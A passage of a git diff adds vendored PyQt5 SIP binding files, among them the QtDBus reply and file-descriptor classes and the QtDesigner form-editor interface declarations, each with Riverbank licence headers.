+}; + +QFlags operator|(QDBusServiceWatcher::WatchModeFlag f1, QFlags f2); +QFlags operator|(QDBusServiceWatcher::WatchModeFlag f1, QDBusServiceWatcher::WatchModeFlag f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusunixfiledescriptor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusunixfiledescriptor.sip new file mode 100644 index 00000000..46538b5f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusunixfiledescriptor.sip @@ -0,0 +1,39 @@ +// qdbusunixfiledescriptor.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusUnixFileDescriptor +{ +%TypeHeaderCode +#include +%End + +public: + QDBusUnixFileDescriptor(); + explicit QDBusUnixFileDescriptor(int fileDescriptor); + QDBusUnixFileDescriptor(const QDBusUnixFileDescriptor &other); + ~QDBusUnixFileDescriptor(); + bool isValid() const; + int fileDescriptor() const; + void setFileDescriptor(int fileDescriptor); + static bool isSupported(); + void swap(QDBusUnixFileDescriptor &other /Constrained/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qpydbuspendingreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qpydbuspendingreply.sip new file mode 100644 index 00000000..78700d79 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qpydbuspendingreply.sip @@ -0,0 +1,44 @@ +// This is the SIP specification of the QPyDBusPendingReply class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPyDBusPendingReply : QDBusPendingCall /PyName=QDBusPendingReply/ +{ +%TypeHeaderCode +#include +%End + +public: + QPyDBusPendingReply(); + QPyDBusPendingReply(const QPyDBusPendingReply &other); + QPyDBusPendingReply(const QDBusPendingCall &call); + QPyDBusPendingReply(const QDBusMessage &reply); + + // The /ReleaseGIL/ annotation is needed because QDBusPendingCall has an + // internal mutex. + QVariant argumentAt(int index) const /ReleaseGIL/; + QDBusError error() const /ReleaseGIL/; + bool isError() const /ReleaseGIL/; + bool isFinished() const /ReleaseGIL/; + bool isValid() const /ReleaseGIL/; + QDBusMessage reply() const /ReleaseGIL/; + void waitForFinished() /ReleaseGIL/; + + SIP_PYOBJECT value(SIP_PYOBJECT type /TypeHintValue="None"/ = 0) const /HoldGIL/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qpydbusreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qpydbusreply.sip new file mode 100644 index 00000000..0eb9ac05 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qpydbusreply.sip @@ -0,0 +1,238 @@ +// This is the SIP specification of the QPyDBusReply class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPyDBusReply /PyName=QDBusReply/ +{ +%TypeHeaderCode +#include +%End + +public: + QPyDBusReply(const QDBusMessage &reply) /HoldGIL/; + QPyDBusReply(const QDBusPendingCall &call) /HoldGIL/; + QPyDBusReply(const QDBusError &error); + QPyDBusReply(const QPyDBusReply &other) /HoldGIL/; + ~QPyDBusReply() /HoldGIL/; + + const QDBusError &error() const /HoldGIL/; + bool isValid() const /HoldGIL/; + SIP_PYOBJECT value(SIP_PYOBJECT type /TypeHintValue="None"/ = 0) const /HoldGIL/; +}; + + +template +%MappedType QDBusReply /TypeHint="QDBusReply"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + PyObject *value_obj; + + if (sipCpp->isValid()) + { + // Convert the value to a Python object. + TYPE *value = new TYPE(sipCpp->value()); + + if ((value_obj = sipConvertFromNewType(value, sipType_TYPE, NULL)) == NULL) + { + delete value; + return NULL; + } + } + else + { + value_obj = 0; + } + + QPyDBusReply *reply = new QPyDBusReply(value_obj, + sipCpp->isValid(), sipCpp->error()); + + PyObject *reply_obj = sipConvertFromNewType(reply, sipType_QPyDBusReply, sipTransferObj); + + if (reply_obj == NULL) + { + delete reply; + return NULL; + } + + return reply_obj; +%End + +%ConvertToTypeCode + // We never create a QDBusReply from Python. + return 0; +%End +}; + + +%MappedType QDBusReply /TypeHint="QDBusReply"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + Py_INCREF(Py_None); + QPyDBusReply *reply = new QPyDBusReply(Py_None, + sipCpp->isValid(), sipCpp->error()); + + PyObject *reply_obj = sipConvertFromNewType(reply, sipType_QPyDBusReply, sipTransferObj); + + if (reply_obj == NULL) + { + delete reply; + return NULL; + } + + return reply_obj; +%End + +%ConvertToTypeCode + // We never create a QDBusReply from Python. + return 0; +%End +}; + + +%MappedType QDBusReply /TypeHint="QDBusReply"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + PyObject *value_obj; + + if (sipCpp->isValid()) + { + if ((value_obj = PyBool_FromLong(sipCpp->value())) == NULL) + return NULL; + } + else + { + value_obj = 0; + } + + QPyDBusReply *reply = new QPyDBusReply(value_obj, + sipCpp->isValid(), sipCpp->error()); + + PyObject *reply_obj = sipConvertFromNewType(reply, sipType_QPyDBusReply, sipTransferObj); + + if (reply_obj == NULL) + { + delete reply; + return NULL; + } + + return reply_obj; +%End + +%ConvertToTypeCode + // We never create a QDBusReply from Python. + return 0; +%End +}; + + +%MappedType QDBusReply /TypeHint="QDBusReply"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + PyObject *value_obj; + + if (sipCpp->isValid()) + { + if ((value_obj = PyLong_FromUnsignedLong(sipCpp->value())) == NULL) + return NULL; + } + else + { + value_obj = 0; + } + + QPyDBusReply *reply = new QPyDBusReply(value_obj, + sipCpp->isValid(), sipCpp->error()); + + PyObject *reply_obj = sipConvertFromNewType(reply, sipType_QPyDBusReply, sipTransferObj); + + if (reply_obj == NULL) + { + delete reply; + return NULL; + } + + return reply_obj; +%End + +%ConvertToTypeCode + // We never create a QDBusReply from Python. + return 0; +%End +}; + + +%MappedType QDBusReply /TypeHint="QDBusReply"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + PyObject *value_obj; + + if (sipCpp->isValid()) + { + if ((value_obj = sipConvertFromEnum(sipCpp->value(), sipType_QDBusConnectionInterface_RegisterServiceReply)) == NULL) + return NULL; + } + else + { + value_obj = 0; + } + + QPyDBusReply *reply = new QPyDBusReply(value_obj, + sipCpp->isValid(), sipCpp->error()); + + PyObject *reply_obj = sipConvertFromNewType(reply, sipType_QPyDBusReply, sipTransferObj); + + if (reply_obj == NULL) + { + delete reply; + return NULL; + } + + return reply_obj; +%End + +%ConvertToTypeCode + // We never create a QDBusReply from Python. + return 0; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/QtDesigner.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/QtDesigner.toml new file mode 100644 index 00000000..a493be4f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/QtDesigner.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtDesigner. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/QtDesignermod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/QtDesignermod.sip new file mode 100644 index 00000000..f1de4bc5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/QtDesignermod.sip @@ -0,0 +1,72 @@ +// QtDesignermod.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtDesigner, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include abstractactioneditor.sip +%Include abstractformbuilder.sip +%Include abstractformeditor.sip +%Include abstractformwindow.sip +%Include abstractformwindowcursor.sip +%Include abstractformwindowmanager.sip +%Include abstractobjectinspector.sip +%Include abstractpropertyeditor.sip +%Include abstractwidgetbox.sip +%Include container.sip +%Include customwidget.sip +%Include default_extensionfactory.sip +%Include extension.sip +%Include formbuilder.sip +%Include membersheet.sip +%Include propertysheet.sip +%Include qextensionmanager.sip +%Include taskmenu.sip +%Include qpydesignercontainerextension.sip +%Include qpydesignercustomwidgetcollectionplugin.sip +%Include qpydesignercustomwidgetplugin.sip +%Include qpydesignermembersheetextension.sip +%Include qpydesignerpropertysheetextension.sip +%Include qpydesignertaskmenuextension.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractactioneditor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractactioneditor.sip new file mode 100644 index 00000000..31582e40 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractactioneditor.sip @@ -0,0 +1,38 @@ +// abstractactioneditor.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerActionEditorInterface : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QDesignerActionEditorInterface(QWidget *parent /TransferThis/, Qt::WindowFlags flags = 0); + virtual ~QDesignerActionEditorInterface(); + virtual QDesignerFormEditorInterface *core() const; + virtual void manageAction(QAction *action) = 0; + virtual void unmanageAction(QAction *action) = 0; + +public slots: + virtual void setFormWindow(QDesignerFormWindowInterface *formWindow /KeepReference/) = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformbuilder.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformbuilder.sip new file mode 100644 index 00000000..0f12076e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformbuilder.sip @@ -0,0 +1,40 @@ +// abstractformbuilder.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractFormBuilder +{ +%TypeHeaderCode +#include +%End + +public: + QAbstractFormBuilder(); + virtual ~QAbstractFormBuilder(); + virtual QWidget *load(QIODevice *device, QWidget *parent /TransferThis/ = 0) /Factory/; + virtual void save(QIODevice *dev, QWidget *widget); + void setWorkingDirectory(const QDir &directory); + QDir workingDirectory() const; + QString errorString() const; + +private: + QAbstractFormBuilder(const QAbstractFormBuilder &other); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformeditor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformeditor.sip new file mode 100644 index 00000000..9801e8fc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformeditor.sip @@ -0,0 +1,51 @@ +// abstractformeditor.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerFormEditorInterface : QObject +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_1 -) + explicit QDesignerFormEditorInterface(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QDesignerFormEditorInterface(QObject *parent /TransferThis/ = 0); +%End + virtual ~QDesignerFormEditorInterface(); + QExtensionManager *extensionManager() const; + QWidget *topLevel() const; + QDesignerWidgetBoxInterface *widgetBox() const; + QDesignerPropertyEditorInterface *propertyEditor() const; + QDesignerObjectInspectorInterface *objectInspector() const; + QDesignerFormWindowManagerInterface *formWindowManager() const; + QDesignerActionEditorInterface *actionEditor() const; + void setWidgetBox(QDesignerWidgetBoxInterface *widgetBox /KeepReference/); + void setPropertyEditor(QDesignerPropertyEditorInterface *propertyEditor /KeepReference/); + void setObjectInspector(QDesignerObjectInspectorInterface *objectInspector /KeepReference/); + void setActionEditor(QDesignerActionEditorInterface *actionEditor /KeepReference/); + +private: + QDesignerFormEditorInterface(const QDesignerFormEditorInterface &other); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindow.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindow.sip new file mode 100644 index 00000000..26e8d146 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindow.sip @@ -0,0 +1,106 @@ +// abstractformwindow.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerFormWindowInterface : QWidget /Abstract/ +{ +%TypeHeaderCode +#include +%End + +public: + enum FeatureFlag + { + EditFeature, + GridFeature, + TabOrderFeature, + DefaultFeature, + }; + + typedef QFlags Feature; + QDesignerFormWindowInterface(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = 0); + virtual ~QDesignerFormWindowInterface(); + virtual QString fileName() const = 0; + virtual QDir absoluteDir() const = 0; + virtual QString contents() const = 0; + virtual bool setContents(QIODevice *dev, QString *errorMessage = 0) = 0; + virtual QDesignerFormWindowInterface::Feature features() const = 0; + virtual bool hasFeature(QDesignerFormWindowInterface::Feature f) const = 0; + virtual QString author() const = 0; + virtual void setAuthor(const QString &author) = 0; + virtual QString comment() const = 0; + virtual void setComment(const QString &comment) = 0; + virtual void layoutDefault(int *margin, int *spacing) = 0; + virtual void setLayoutDefault(int margin, int spacing) = 0; + virtual void layoutFunction(QString *margin /Out/, QString *spacing /Out/) = 0; + virtual void setLayoutFunction(const QString &margin, const QString &spacing) = 0; + virtual QString pixmapFunction() const = 0; + virtual void setPixmapFunction(const QString &pixmapFunction) = 0; + virtual QString exportMacro() const = 0; + virtual void setExportMacro(const QString &exportMacro) = 0; + virtual QStringList includeHints() const = 0; + virtual void setIncludeHints(const QStringList &includeHints) = 0; + virtual QDesignerFormEditorInterface *core() const; + virtual QDesignerFormWindowCursorInterface *cursor() const = 0; + virtual QPoint grid() const = 0; + virtual QWidget *mainContainer() const = 0; + virtual void setMainContainer(QWidget *mainContainer /KeepReference/) = 0; + virtual bool isManaged(QWidget *widget) const = 0; + virtual bool isDirty() const = 0; + static QDesignerFormWindowInterface *findFormWindow(QWidget *w); + static QDesignerFormWindowInterface *findFormWindow(QObject *obj); + virtual void emitSelectionChanged() = 0; + virtual QStringList resourceFiles() const = 0; + virtual void addResourceFile(const QString &path) = 0; + virtual void removeResourceFile(const QString &path) = 0; + +public slots: + virtual void manageWidget(QWidget *widget) = 0; + virtual void unmanageWidget(QWidget *widget) = 0; + virtual void setFeatures(QDesignerFormWindowInterface::Feature f) = 0; + virtual void setDirty(bool dirty) = 0; + virtual void clearSelection(bool update = true) = 0; + virtual void selectWidget(QWidget *widget, bool select = true) = 0; + virtual void setGrid(const QPoint &grid) = 0; + virtual void setFileName(const QString &fileName) = 0; + virtual bool setContents(const QString &contents) = 0; + +signals: + void mainContainerChanged(QWidget *mainContainer); + void fileNameChanged(const QString &fileName); + void featureChanged(QDesignerFormWindowInterface::Feature f /ScopesStripped=1/); + void selectionChanged(); + void geometryChanged(); + void resourceFilesChanged(); + void widgetManaged(QWidget *widget); + void widgetUnmanaged(QWidget *widget); + void aboutToUnmanageWidget(QWidget *widget); + void activated(QWidget *widget); + void changed(); + void widgetRemoved(QWidget *w); + void objectRemoved(QObject *o); + +public: + virtual QStringList checkContents() const = 0; + QStringList activeResourceFilePaths() const; + virtual QWidget *formContainer() const = 0; + void activateResourceFilePaths(const QStringList &paths, int *errorCount = 0, QString *errorMessages /Out/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindowcursor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindowcursor.sip new file mode 100644 index 00000000..fa583e49 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindowcursor.sip @@ -0,0 +1,64 @@ +// abstractformwindowcursor.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerFormWindowCursorInterface +{ +%TypeHeaderCode +#include +%End + +public: + enum MoveOperation + { + NoMove, + Start, + End, + Next, + Prev, + Left, + Right, + Up, + Down, + }; + + enum MoveMode + { + MoveAnchor, + KeepAnchor, + }; + + virtual ~QDesignerFormWindowCursorInterface(); + virtual QDesignerFormWindowInterface *formWindow() const = 0; + virtual bool movePosition(QDesignerFormWindowCursorInterface::MoveOperation op, QDesignerFormWindowCursorInterface::MoveMode mode = QDesignerFormWindowCursorInterface::MoveAnchor) = 0; + virtual int position() const = 0; + virtual void setPosition(int pos, QDesignerFormWindowCursorInterface::MoveMode mode = QDesignerFormWindowCursorInterface::MoveAnchor) = 0; + virtual QWidget *current() const = 0; + virtual int widgetCount() const = 0; + virtual QWidget *widget(int index) const = 0; + virtual bool hasSelection() const = 0; + virtual int selectedWidgetCount() const = 0; + virtual QWidget *selectedWidget(int index) const = 0; + virtual void setProperty(const QString &name, const QVariant &value) = 0; + virtual void setWidgetProperty(QWidget *widget, const QString &name, const QVariant &value) = 0; + virtual void resetWidgetProperty(QWidget *widget, const QString &name) = 0; + bool isWidgetSelected(QWidget *widget) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindowmanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindowmanager.sip new file mode 100644 index 00000000..afd9b0d8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractformwindowmanager.sip @@ -0,0 +1,88 @@ +// abstractformwindowmanager.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerFormWindowManagerInterface : QObject /Abstract/ +{ +%TypeHeaderCode +#include +%End + +public: + explicit QDesignerFormWindowManagerInterface(QObject *parent /TransferThis/ = 0); + virtual ~QDesignerFormWindowManagerInterface(); + QAction *actionFormLayout() const /Transfer/; + QAction *actionSimplifyLayout() const /Transfer/; + virtual QDesignerFormWindowInterface *activeFormWindow() const = 0; + virtual int formWindowCount() const = 0; + virtual QDesignerFormWindowInterface *formWindow(int index) const = 0 /Transfer/; + virtual QDesignerFormWindowInterface *createFormWindow(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = 0) = 0; + virtual QDesignerFormEditorInterface *core() const = 0; + +signals: + void formWindowAdded(QDesignerFormWindowInterface *formWindow); + void formWindowRemoved(QDesignerFormWindowInterface *formWindow); + void activeFormWindowChanged(QDesignerFormWindowInterface *formWindow); + void formWindowSettingsChanged(QDesignerFormWindowInterface *fw); + +public slots: + virtual void addFormWindow(QDesignerFormWindowInterface *formWindow) = 0; + virtual void removeFormWindow(QDesignerFormWindowInterface *formWindow) = 0; + virtual void setActiveFormWindow(QDesignerFormWindowInterface *formWindow) = 0; + +public: + enum Action + { + CutAction, + CopyAction, + PasteAction, + DeleteAction, + SelectAllAction, + LowerAction, + RaiseAction, + UndoAction, + RedoAction, + HorizontalLayoutAction, + VerticalLayoutAction, + SplitHorizontalAction, + SplitVerticalAction, + GridLayoutAction, + FormLayoutAction, + BreakLayoutAction, + AdjustSizeAction, + SimplifyLayoutAction, + DefaultPreviewAction, + FormWindowSettingsDialogAction, + }; + + enum ActionGroup + { + StyledPreviewActionGroup, + }; + + virtual QAction *action(QDesignerFormWindowManagerInterface::Action action) const = 0 /Transfer/; + virtual QActionGroup *actionGroup(QDesignerFormWindowManagerInterface::ActionGroup actionGroup) const = 0 /Transfer/; + +public slots: + virtual void showPreview() = 0; + virtual void closeAllPreviews() = 0; + virtual void showPluginDialog() = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractobjectinspector.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractobjectinspector.sip new file mode 100644 index 00000000..1b67e0bd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractobjectinspector.sip @@ -0,0 +1,36 @@ +// abstractobjectinspector.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerObjectInspectorInterface : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QDesignerObjectInspectorInterface(QWidget *parent /TransferThis/, Qt::WindowFlags flags = 0); + virtual ~QDesignerObjectInspectorInterface(); + virtual QDesignerFormEditorInterface *core() const; + +public slots: + virtual void setFormWindow(QDesignerFormWindowInterface *formWindow /KeepReference/) = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractpropertyeditor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractpropertyeditor.sip new file mode 100644 index 00000000..7034d1fc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractpropertyeditor.sip @@ -0,0 +1,44 @@ +// abstractpropertyeditor.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerPropertyEditorInterface : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QDesignerPropertyEditorInterface(QWidget *parent /TransferThis/, Qt::WindowFlags flags = 0); + virtual ~QDesignerPropertyEditorInterface(); + virtual QDesignerFormEditorInterface *core() const; + virtual bool isReadOnly() const = 0; + virtual QObject *object() const = 0; + virtual QString currentPropertyName() const = 0; + +signals: + void propertyChanged(const QString &name, const QVariant &value); + +public slots: + virtual void setObject(QObject *object /KeepReference/) = 0; + virtual void setPropertyValue(const QString &name, const QVariant &value, bool changed = true) = 0; + virtual void setReadOnly(bool readOnly) = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractwidgetbox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractwidgetbox.sip new file mode 100644 index 00000000..db9d99f1 --- /dev/null +++ 